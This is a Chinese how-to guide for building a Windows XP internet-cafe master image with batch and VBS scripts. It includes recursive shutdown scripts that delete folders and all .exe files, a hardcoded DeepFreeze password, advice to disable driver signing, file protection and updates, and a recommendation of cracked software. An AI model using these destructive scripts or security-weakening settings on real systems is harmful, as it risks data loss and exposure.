把电源设置里面的关闭监视器设为无,把休眠关闭;
屏幕刷新率设为75或以上,锁定刷新率,所以有显卡的服务的可以关掉;

锁定刷新率注册表
[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlClass{4D36E96E-

E325-11CE-BFC1-08002BE10318}000MODES1024,768]
"Mode1"="85-85,85-85"
关掉显卡的垂直同步,去掉显卡鼠标右键菜单;
去除60天运行桌面清理选项;
关闭驱动程序签名;
关闭系统默认共享;
修改视图模式:在任意文件夹中点鼠标右键,选择—查看–图标,然后再选择"文件夹选项"—"查看"—-"应用到所有文件夹"
关闭远程桌面:"我的电脑"->"属性"->"远程","远程桌面"里的"允许用户远程连接到这台计算机"勾去掉;
设 置启动与故障恢复,把显示操作系统列表勾去掉,系统失败下的各选项勾去除,把写入调试信息设为无,关闭自动更新功能;控制面板—->系统— ->高级(下面个)—->显示操作系统列表时间"以及"在需要时显示恢复选项的时间"前的勾去掉,"发送管理警报"和"自动重新启动"前 的勾去掉,"写入调试信息"设置为"无";
关闭错误报告:控制面板—->系统—->高级—->错误报告—->禁用错误汇报――确定;
视觉效果:控制面板—->系统—->高级(上面个)—->设置—->"调整为最佳性能";如果有用到壁纸的话,则选"自定义":选中在桌面为图标标签使用阴影/在窗口或者按纽上使用视觉样式(可选);
虚拟内存:建议设置在非系统分区,设置虚拟内存前先整理该分区的磁盘碎片确

保 虚拟内存的连续性。虚拟内存设置为物理内存的2–3倍;至于网上有朋友提供的测试虚拟内存的方法,没有去试过。我曾经使用过双虚拟内存,在C盘分 512M-512的虚拟内存出来,并且再在其他分区设置另外个物理内存2–3倍大小的虚拟内存,不知道这个方法对系统的性能是有利还是有弊。

6.IE:
常规页:
清除COOKIES–删除文件–清除历史纪录–移动IE缓存设置大小.
内容:自动完成—清除表单–清除密码,去掉"web地址"/"表单"/"表单上的用户与密码"前面的勾。
连接:去掉“检查Internet Explorer是否为默认浏览器”选项。
高级:点还原默认设置,然后去掉“自动检查Internet Explorer更新”,其他的我没有去修改了。
防止主页被更改>创建C:Program FilesInternet ExplorerIEXPLORE.EXE的快捷方式到桌面,在"目标"中的路径后面空一格加上 -nohome .
免疫常见的插件:Upiea及兔子/优化大师等都带有免疫的功能。

7.文件夹选项—常规—使用WINDOWS传统风格
查看—(勾选的项)不缓存缩略图/鼠标指向文件夹或桌面项时显示”
开始菜单:使用经典开始菜单
任务栏:锁定任务栏/将任务栏保持在其他窗口的前端/显示快速启动/显示时钟。

8.组策略(gpedit.msc):禁用定期检查IE更新,禁止所有驱动器自动播放,关闭用户跟踪,不要保留文档记录,退出时清除文档记录,禁用Active Desktop,

9.修改SHEDLL32文件,防止删除/格式化
先复制C:windowssystem32shell32.dll文件出来,放到两个目录作2份分开保存。
用eXeScope打开其中一个复制出来的shell32.dll,
禁止删除
资源–对话框—1011
资源–对话框—1012
资源–对话框—1013
资源–对话框—1021
资源–对话框—1022
禁用其中的"是"和"全部"按钮。
禁止格式化
资源–对话框—28672
将开始前面的勾去掉。
如果要禁止查找目标,则修改资源–对话框—1040“
确认修改好以后,重新启动进MAXDOS替换
进纯DOS模式
在命令提示符下面输入:NTFSDOS,然后输入D:
cd windows
cd system32
copy 你修改的shell32文件的绝对路径shell32.dll(注意,NTFS格式的磁盘在DOS下面的盘符将依次向后退一位,比如C盘的盘符就是D,若存在一个FAT分区的话,好象要多退一位)
然后按Y,就可以了。替换shell32.dll最好在系统制作将结束时再进行。

10.病毒的免疫
①arp病毒的免疫:
1.WINPCAP的免疫
如果系统中有下列文件的话,则将下列文件加上系统/只读/隐藏属性并且将该文件安全选项中的所有用户删除。
C:WINDOWSsystem32wpcap.dll
C:WINDOWSsystem32pthreadVC.dll
C:WINDOWSsystem32packet.dll
C:WINDOWSsystem32npptools.dll
c:windowssystem32driversnpf.sys,
如果没有的话则建立上述的系统假文件并且再执行以上的操作,可以用类似的批处理来做到,但是文件安全选项中的所有用户必须手动删除。
md %systemroot%system32wpcap.dll
attrib +r +s +h +a %systemroot%system32wpcap.dll
cacls%systemroot%system32wpcap.dll /T /E /C /R EVERYONE ADMINISTRATORS SYSTEM GUEST USERS USER

2.做绑定本机的IP与MAC及绑定网关IP的与网关MAC批处理并且设置开机启动,为了去掉黑框,可用VBS执行批处理。
绑定网关的批处理
@echo off
arp -d&arp -s 你的网关 网关的MAC
exit
绑定本机的批处理
@echo off
if exist ipconfig.txt del ipconfig.txt
ipconfig /all >ipconfig.txt
if exist phyaddr.txt del phyaddr.txt
find "Physical Address" ipconfig.txt >phyaddr.txt
for /f "skip=2 tokens=12" %%M in (phyaddr.txt) do set Mac=%%M

if exist IPAddr.txt del IPaddr.txt
find "IP Address" ipconfig.txt >IPAddr.txt
for /f "skip=2 tokens=15" %%I in (IPAddr.txt) do set IP=%%I

arp -s %IP% %Mac%
del ipaddr.txt
del ipconfig.txt
del phyaddr.txt
exit
去黑框的VBS(如跟批处理同目录,则只需修改批处理的名称)
Dim Wsh
Set Wsh = WScript.CreateObject("WScript.Shell")
WScript.Sleep(0000)
Wsh.Run "批处理的名称.bat",0,True
Set Wsh=NoThing
WScript.quit

至于修改注册表的阕值等,没有去修改了,客户机做到这些,路由器再进行绑定实现双绑,应该可以防御一般的ARP攻击了,如果不是恶意的攻击(一些已知的恶意攻击软件可以通过注册表或者组策略屏蔽掉,比如OK.EXE等)

②已知病毒的免疫以及有些危害性极大的病毒的免疫
通过注册表或者组策略免疫常见的病毒以及一些BT类/破坏类软件,网上有朋友做出来这个注册表补丁了的,可以免疫1000多种病毒
重点免疫威金/熊猫/SXS等病毒,建立相关的假病毒文件,加属性去权限。
也可以建立假的一些恶意的流氓软件文件,加属性去权限。
通过IP安全策略关闭一些病毒木马的端口以及一些危险的端口,比如445/139等
用禁止窗口标题的程序自己添加需要禁止的窗口标题并且设置开机启动。
相关的程序我已经随贴发了上来。

11.一些个性化的设置
①.个性的OME设置:可以用OME-DIY等软件来修改
也 可以自己编辑张图片,设置大小为120*120像素,文件保存为OMELOGO.bmp,然后粘贴至c:windowssystem32目录替换原 来的文件然后自己从c:windowssystem32文件夹下面复制OEMINFO.INI或者直接编辑里面的内容,大致的内容如下:
[Version]
Microsoft Windows XP Professional
WinVer=5.01

[General]
Manufacturer=深蓝网吧
Model=深蓝网吧专用操作系统
[Support Information]
Line1=深蓝网吧专用操作系统
Line2=电话 : ……..
Line3=制作:杨康 QQ:45812822

可以添加Line4/Line5…..line?.按照格式写就是了.

②.开关机画面的修改
推荐使用 TuneUp Utilities 2006
简单易用,运行TuneUp Utilities 2006 ,选择 自定义分析—-TuneUp艺术风格2—-引导画面—画面,就可以编辑XP的开机画面了(滚动条处)也可以从软件的官网下载更多的漂亮的开机画面;
选 择 自定义分析—-TuneUp艺术风格2—-欢迎画面,就可以更改系统的登陆与关机画面,但是这里只能使用软件提供的登陆画面,无法自定义编辑。你 可以去软件的官网下载许多精美的登陆画面,推荐使用relax_logon.tls,我一直用的这个。还可以用Logon Loader/XP LogMod v2.0等软件修改登陆画面,也许可以做出你自己的风格。

③自定义文件夹背景
自定义IE工具栏,个性化IE工具栏等
我不一一介绍了,请参考附件。

五.系统的维护与游戏更新设置
1. 将IP修改工具/收费软件/还原软件等工具放在同一个文件夹内,如果有必须设置的参数,则设置好,比如使用自动根据MAC修改IP与机器名的工具,则先设 置好相关的参数以及想对应的MAC与IP地址。如果使用冰点还原软件的话,则可以使用批处理的模式安装,预先做好批处理,比如
@echo off
net time \server /set /y&
C:ipDF6.00.020.1523.exe /install /pw=5757124 /reboot /freeze=c:,e,
先同步服务器的时间,冰点安装后是无法更改系统时间的,至少我不知道怎么改“但是我们可以预先调整系统的时间
C: ipDF6.00.020.1523.exe为DF的路径推荐使用6.0以上的,我是用的单机版,网络版或许维护更加方便些。/install为安装 的意思,/pw=5757124 设置DF的密码为5757124 /reboot 不管它,表示安装完重新启动的把,/freeze=c:,e,表示保护C盘跟E盘盘符之间用逗号隔开。

把这个批处理命名为DF或 者任意名字放到WINDOWS目录中,就可以在运行中输入批处理的名字(无须后缀)调用这个命令安装DF,WINDOWS根目录下面的所有文件都可以通过 运行栏输入文件的名字调用,所以我们可以利用这一点让我们维护更轻松,我之前发布了相关的帖子的,可惜看得懂的人不多“比如把修改IP的程序创建个快捷 方式命名为IP,然后放到WINDOWS根目录下面,我们就可以在运行中输入IP直接运行IP修改程序了。其他的都是一样的道理,举一反三,我就不一一介 绍了,我制作的系统中集成了几十个自定义的这种命令,真的很实用,相关的快捷尽量用该程序的谐音来命名,方便自己记忆,比如XSPZ=讯闪配置,XS=讯 闪 rm=影子等。
2.桌面的快捷方式不要太多,快捷方式的图标尽量指向同一个DLL文件;

桌面放QQ/QQ游戏/浩方/联众/游戏菜单/电影主页/留言薄/网络硬盘 等快捷方式就够了,删除网上邻居图标。

拿网吧的其中一台主机做个留言薄,能够更好的与顾客之间沟通与交流。

顾客存档区我用的桃源网络硬盘(http://www.mytaoyuan.com/),WEB形式的,很不错。
在开机的绑定MAC的批处理中加一个预留维护通道,比如
@echo off
arp -d 2>nul&arp -s 192.168.0.1 00-22-aa-5d-63-81
ping 127.0.0.1 -i 5 >nul
start \Serverpc80run.vbs
exit

start \Serverpc80run.vbs表示开机执行服务器的一个VBS,这个VBS再调用服务器的一个批处理通过这个批处理我们可以做很多事情,换桌面壁纸/同步桌面的图标/一些系统的小修补等
ping 127.0.0.1 -i 5 >nul,表示延时5秒钟执行.

3.关于游戏更新的思考
①最近出了很多针对游戏更新而出的还原软件,比如VD/过滤盾/讯闪的虚拟还原等,但是似乎都有一些缺陷或者漏洞,所以我干脆什么都不用,而是采用了一个简单的方法来保护自己的游戏盘(还原软件不保护)。还原软件用冰点,只保护C跟E盘。
游戏更新采用讯闪(任何对比更新的软件都可以)
游戏菜单在E盘,保护分区,调用程序也放保护分区,网络游戏在D盘的"网络游戏"目录中。
讯闪的对比更新就略过了。

先把从网上得到的一个排除删除脚本(天下网盟的黑火大哥写的)编辑好:
Dim fdrpath
fdrpath = "D:网络游戏" ‘此处定义你的路径,如果你想删除E盘Games目录下

的多余文件请填E:Games
Delfdr(fdrpath)
sub Delfdr(folderspec)
   Dim fso, f, f1, fc, foldername, f2, ff, filename
   Set fso = CreateObject("scripting.FileSystemObject")
   Set f = fso.GetFolder(folderspec)
   Set fc = f.SubFolders
   For Each f1 in fc
       foldername = LCase(f1.name)
       Select Case foldername
       Case "大话西游onlineII" ‘排除目录里面不管。
       Case "魔兽世界" ‘同上
       Case "梦幻西游"
       Case "劲舞团"
       Case ""
       Case ""
       Case ""

       Case Else
           f1.Delete(True)
       end Select
   Next
   Set ff = f.Files
   For Each f2 in ff
       f2.Delete(True)
   Next
Set FSO=NoThing
End sub

为了不占更多的篇幅“我在这里没有列举完,也就是说如果你想排删除 D:网络游戏 目录下面的多余文件,那么就在脚本里面把所有的需要排除的目录按照
Case "梦幻西游"
Case "劲舞团"
Case ""
Case ""
Case ""
编辑好,编辑好以后,运行这个VBS脚本,则会自动删除脚本中没有编辑在排除列表内的目录。
然后再做一个排除删除D盘根目录多余文件的脚本(其实天下网盟的斑竹猪脑壳大哥写了个多路径排除删除的文件的程序,可以把几项操作集在一起的,我后来才找到这个程序)。
脚本编辑好以后,运行gpedit.msc,选择计算机配置—-WINDOWS设置—脚本(启动/关机),选择右边的"关机",然后点添加,再点浏览选择刚才做好的2个排除删除脚本。选择关机的时候运行脚本是为了不占用系统启动的时间。
这2个脚本建议放在D盘一隐藏目录(记得在排除删除D盘根目录多余文件脚本中把自己本身的目录排除出来),以便添加游戏时通过系统的预留维护通道来更新排除脚本的内容。
排除删除脚本不会排除大写的目录。所以游戏目录的名字不要带大写的字母
如果脚本无法运行的话请先安装xp运行脚本程序VBS补丁>如果安装了还是无法运行的话,则在运行中输入 regsvr32 scrrun.dll>
如果运行了命令还无法删除的话,则请看你排除删除的目标文件夹是否有当前用户的删除权限,如果没有,则在目标文件夹的安全选项卡上添加你的当前用户进去并且赋予相应的权限,有时候目标文件夹的文件过多的话,也许回稍微等待一点时间。

②QQ也放 D:网络游戏 目录,用讯闪的原调用做的对比更新,把原调用快捷方式的图标改成QQ的图标就是了
:
[更新]
远程目录=\server网络游戏QQ
本地目录=D:网络游戏QQ
执行文件=D:网络游戏QQQQ.exe

‘下面请勿修改
[辅助]
调用程序名=原调用.exe

③. 虽然排除删除了多余文件,但是D盘还是有可能被病毒感染,一般病毒病毒破坏的都是执行文件把,那么我们在开机的批处理里面再加上一条命令自动删除D盘所有 的EXE文件,我是这么做的,这个批处理加在关机的脚本中也许更合适把,因为操作会占用一点时间,但是关机稍微慢点总比开机慢的好。
dir /a /s /b d:网络游戏*.exe > c:exe列表.txt >nul
for /f %%i in (c:exe列表.txt) do del /q /f /a %%i>nul
exit

把上面的批处理命名为del.bat
放D盘的脚本目录,在脚本目录下再建立个del.vbs如下
Dim Wsh
Set Wsh = WScript.CreateObject("WScript.Shell")
WScript.Sleep(0000)
Wsh.Run "del.bat",0,True
Set Wsh=NoThing
WScript.quit
然后在关机脚本中添加一条就是了。
gpedit.msc—计算机配置—-WINDOWS设置—脚本(启动/关机),选择右边的"关机",然后点添加,浏览,选择脚本目录中的del.vbs。
还可以在 gpedit.msc—用户配置—-WINDOWS设置—脚本(登陆/注销)设置登陆或者注销(效果都一样)执行这3个脚本。

VBS排除删除脚本在没有编辑好之前请勿设置排除目录以防误操作。

这 种操作相对来说比较安全,服务器的安全就是客户机的安全,所以确保服务器的安全性是很重要的,尽量安装一款强大的杀毒软件(我习惯用NOD32/卖咖啡/ 诺顿企业版)保障服务器的安全。客户机理论上是可以不安装杀毒软件的,如果安装的话可以装一款PF值占用低能够防御一般病毒的软件。

为了防止服务器挂掉而出现所有的游戏无法运行,可以在网吧内设置一台机器不加入排除删除脚本,全保,并且随时取消保护更新常用的游戏以便做应急服务器用。

还 有可以利用WINRAR来轻松的备份D盘目录下的所有EXE文件:新建一个RAR文件,然后点添加加,再选择刚才新建的RAR文件,点确定,再点文件,清 空要添加的文件栏的内容再输入D:*.EXE,再点确定,就可以备份D盘所有的EXE文件,并且还维持了D的目录结构保存所有的EXE文件。我们可以将 做好的RAR文件做成自解压补丁的形式或者再把RAR文件解压出来按照目录分别制做应急EXE补丁。这个工作应该是在主机进行的,因为游戏的EXE文件也 是随时更新着的,备份好的EXE文件及时的保存在应急的客户机或者其他服务器上去,也许是多余的,但是尽量做到有备无患。

然后GHOST备份,VBS脚本请在最后做最终GHOST的时候再加入。

六.优化与GHOST前的准备
关于优化的概念网上的思路林林总总,其实我觉得没有必要作过度的优化
1.关于服务 SERVER服务一定要关,建议开启的
Plug and Play
Remote Procedure Call (RPC)
Windows Audio
Windows Management Instrumentation
Workstation
Server
Network Connections
下面3个服务是系统事件通知,相互有关系,关了event log系统无法启动.其他的2个是给event log返回消息的,可以关,但是系统日志会一直说有错误!
sys Event Notification
com+ event system
Event Log
如果使用串口硬盘的话,建议把Shell Hardware Detection服务开启,这样你会发现你打开文件夹特别是放了很多快捷方式的文件夹的时候快得多。如果把自动播放类病毒用建立假文件加属性去权限的方法免疫,我想开了这个服务也不用担心自动放类的病毒。

2.优化我推荐使用优化大师或者超级兔子自动优化,然后再加上些注册表的优化比如
不加载多余的DLL文件
关闭程序仅等待1秒
加快菜单显示速度
减少开机滚动条滚动次数
清除共享文件夹
关闭文件保护
取消快捷方式的箭头
缩短XP的开关机的等待时间
自动关闭停止响应的程序
删除打印机及计划任务加快局域网共享的浏览
异常启动时磁盘扫描禁用

SP2系统的话安装UPCLEAN–用户配置文件清离服务
SP2最好启用DCOM服务。

Microsoft.BootVis.v-据说是微软内部提供的用于加速WindowsXP的软件,用了也不曾看见有什么效果“提下而已,不推荐。

System Mechanic 5 Professional跟TuneUp Utilities是国外的几款不错的优化软件,可以用来修改系统中的一些细节,但是不推荐用来优化系统。

我 想优化大师或者超级兔子应该才是真正的符合国情的优化软件,或者WINXP总管,但是必须安装 NET Framework才可以使用,我一般不用。优化系统用优化大师或者超级兔子其中一个就可以了,不要同时用,也许会有冲突,相同的系统设置,在一款软件上 已经做了设置了,就无须在另外的软件再做相同的处理。

Tweak Utilities也是一款不错的系统调校工具,诸如此类的软件很多,不一一介绍了。

3.所有的优化做完以后,
把虚拟内存设置成无,重新启动
然后安装VOTEXP或OODefrag进行磁盘碎片整理,System Mechanic 5 Professional也带有不错的磁盘整理功能,整理完毕后,再用WINDOWS自带的磁盘整理全盘整理下。

磁盘整理时母盘若有GHO文件最好先移到其他硬盘以免占用更多的时间,虚拟内存也设置成无,不然这2个就是最大的碎片文件。

我 推荐先安装VOTEXP,因为他整理的速度够快,可以整理个大概,然后安装OODefrag,OODefrag有多种整理的模式,按文件/按空间/按访问 等,如果你时间够充足的话,推荐按文件整理,一般的话按空间整理就够了,OODefrag整理完毕后,记得停用它的服务。

4.现在我们可以在组策略里面加入排除删除的脚本进去,然后在开机启动项里面加入个批处理的快捷方式ip.lnk如下:
@echo off
del "C:Documents and SettingsAdministrator「开始」菜单程序启动ip.lnk"&
copy /y c:ipdf.lnk C:Docume~1Admini~1「开始」菜单程序启动df.lnk&
C:ipip.exe&
C:ipIKB_V6客户端全自动安装.exe&
exit

这 个批处理启动后自动删除它在启动项的文件并且复制自动安装DF批处理的快捷方式到启动项然后自动修改IP与机器名并且自动安装收费软件,然后重新启动, IKB自动安装的程序有这个功能,如果你是其他的软件,则需要加上条自动重启的命令 %windir%system32shutdown.exe -r -t 00。
C:ipip.exe为根据MAC地址自动修改IP机器名的工具
C:ipIKB_V6客户端全自动安装.exe是一个朋友写的自动安装重庆地区收费软件的AU3脚本,重庆地区的朋友要的话,可以找我.

df.bat内容如下
@echo off
del "C:Documents and SettingsAdministrator「开始」菜单程序启动df.lnk"&
net time \server /set /y&
C:ipDF6.00.020.1523.exe /install /pw=5757124 /reboot /freeze=c:,e,
exit

加 上&参数是让批处理忽略错误继续进行下一个命令操作。再用系统自带的磁盘整理整理下系统盘,做GHOST。这个GHOST是最终的GHOST了, 这时候可以将备份的GHOST文件删除掉,然后保留一个你认为比较重要的GHOST,以后你想重新做系统,就可以用这个GHOST来修改了。

5. 如果你将GHOST文件放在非保护分区的话为了安全起见,推荐做完GHOST进系统后将文件的后缀去掉,一是防止熊猫,二是为了防止有人恶意破坏,我想这 招跟给GHOST文件加密码更绝把“放在保护分区也最好去掉后缀,为恶劣防止别人破坏,恶意恢复系统“修改后缀以后,自己记得路径就是了,恢复 GHOST的时候,浏览到GHOST文件保存的目录,直接输入GHOST文件的名字,一样可以恢复系统。

GHOST完记得设置虚拟内存。

七. 母盘最好多测试几天,等确认没有什么问题的时候再进行大面积的GHOST,以前做维护的时候,给很多网吧做系统都不准用网克,怕影响网吧的速度,其实如果 网刻的话,可以在一个交换机环境下面GHOST,GHOST主机也在这个交换机内,再把交换机的外网拔掉,这样网克的话也许就不会影响整个网络的速度了。

我还用了锐起磁盘共享精灵,客户端用批处理加VBS做的绿色启动。以前曾经发过相关的帖子,在此就不提及了。锐起磁盘共享精灵破解版对于中小型网吧来说是个不错的选择

如 果你觉得我这个方法可行,不妨按照我提供的思路来制作个系统看看,也许有些地方你可以借鉴的,但是不要一味的模仿。如果要发布一个GHOST或者封装的系 统,我想我或许也会做得有模有样““`但是我不想做,授人与鱼不如授人与渔。与其做个系统给大家研究,不如把自己系统制作的一些思路拿出来与大家分 享,资源共享,快乐齐分享,如果仅已我一篇小小的文章,能够为许多不怎么会制作系统的朋友提供一个参考的话,我想也不辜负我花费数小时来写出这篇文章的初 衷了。

以上是我做网吧系统的一些小小的心得,写了几个小时,或许有细节的地方遗漏,如果觉得有什么不当的地方,敬请各位朋友帮忙指正,阿 拉在此虚心受教。希请朋友们多多批评与指正,更希望可以与更多的朋友共同研究与探讨怎么做好一个网吧系统。还是那句老话:做系统并不难,难的是做一个好系 统,难得是怎么去用心的做一个好的系统…..

其实我个人觉得:网吧的系统,应该是开放性的,不应该做太多的限制,让顾客在网 吧上网感觉就像在自己家里上网一样舒适,快捷;网吧的系统,其实应该站在顾客的角度去思考,去制作,去规划,怎么样才能让这个系统为顾客提供最快最便捷的 网络服务,这也许才是我们用心的去做好每一个网吧系统的初衷把“““

Read: 672